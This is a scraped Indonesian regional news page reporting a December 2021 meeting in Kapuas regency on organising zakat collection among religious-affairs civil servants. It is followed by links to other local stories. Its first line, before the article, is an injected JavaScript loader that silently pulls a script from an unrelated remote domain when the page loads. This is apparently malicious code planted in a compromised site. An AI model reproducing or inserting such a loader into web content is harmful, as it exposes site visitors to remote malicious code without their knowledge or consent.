(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Wabup Kapuas Hadir di Rakor Pengurus UPZ Kemenag Kapuas


KANALKALIMANTAN. COM, KUALA KAPUAS – Kewajiban zakat bukan berati hanya sekadar memenuhi sikap akan kewajiban dalam agama tetapi lebih dari itu zakat menjamin terciptanya kesejahteraan masyarakat secara luas.

Untuk itu perlu pengelolaan yang terorganisir oleh badan zakat sehingga zakat bisa tersalurkan kepada yang berhak menerimanya.

Terkait dengan hal itu Kantor Kementerian Agama Kabupaten Kapuas mengadakan Rakor pengurus Unit Pengumpul Zakat (UPZ) dihadiri Wakil Bupati Kapuas Drs H Nafiah Ibnor, Ketua MUI Kapuas KH Nurani Sarji, Sekretaris MUI Kapuas, Dr H Junaidi, pejabat struktural dan fungsional, bertempat di Aula Kemenag Kabupaten Kapuas, Kamis (16/12/2021).

Rakor dipimpin oleh Kepala Kantor Kementerian Agama Kabupaten Kapuas, H Hamidhan SAg MA mengatakan, zakat sudah jelas, tinggal bagaimana menyikapinya. Sebagai Aparatur Sipil Negara (ASN) di jajaran Kementerian Agama seharusnya sebagai pelopor, bisa mengamalkannya, sehingga UPZ di Kabupaten Kapuas bisa berkembang.

 

Baca juga : Sidak Pasar Harga Bapokting, Dinas Perdagangan Balangan: Masih Aman Terkendali!

“Untuk menyikapi hal ini Kantor Kementerian Agama Kabupaten Kapuas mengambil langkah dengan adanya pengurus Unit Pengumpul Zakat (UPZ) dengan susunan pengurus pembina, penasehat, ketua, sekretaris, bendahara dan anggota. Untuk itu saya berharap, agar draf yang berisi tugas dan kewajiban para pengurus dicermati dengan baik,” kata H Hamidhan.

Wakil Bupati Kapuas, Drs H Nafiah Ibnor berharap agar Kemenag Kabupaten Kapuas wajib mengeluarkan zakat profesinya melalui UPZ. Untuk itu pengurus UPZ Kemenag Kapuas harus menyosialisasikan program kerja UPZ untuk memberikan edukasi dan pemahaman terhadap ASN, pada gilirannya mampu meningkatkan optimalisasi perolehan zakat ASN.

“Para ASN di lingkungan Kemenag Kabupaten Kapuas wajib mengeluarkan zakat profesi yang dikelola oleh UPZ Kemenag Kapuas. UPZ melaksanakan tugas pengumpulan zakat profesi sesuai dengan peraturan perundang-undangan yang berlaku. Sehingga apabila ada ASN yang belum mengeluarkan zakat, berarti telah melakukan pelanggaran terhadap Undang-Undang Zakat. Tugas berat juga dipikul oleh pengurus UPZ Kemenag, dimana mereka harus mensosialisasikan program kerja UPZ serta memberikn edukasi dan pemahaman terhadp ASN, sehingga nantiny perolehan zakat ASN bisa optimal,” jelas H. Nafiah.

 

Baca juga : Rumah Kemasan Banjarbaru Siap Dukung Produk UKM

H Nafiah menambahkan bahwa ASN yang belum mengeluarkan zakatnya itu disebabkan ada beberapa faktor, antara lain rendahnya kesadaran wajib berzakat, rendahnya kepercayaan pengelolaan terhadap pengurus UPZ, serta belum mengetahui mekanisme pengelolaan zakat.

“Maka sekali lagi kami berharap UPZ harus mensosialisasikan program program kerja UPZ,” pungkasnya. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.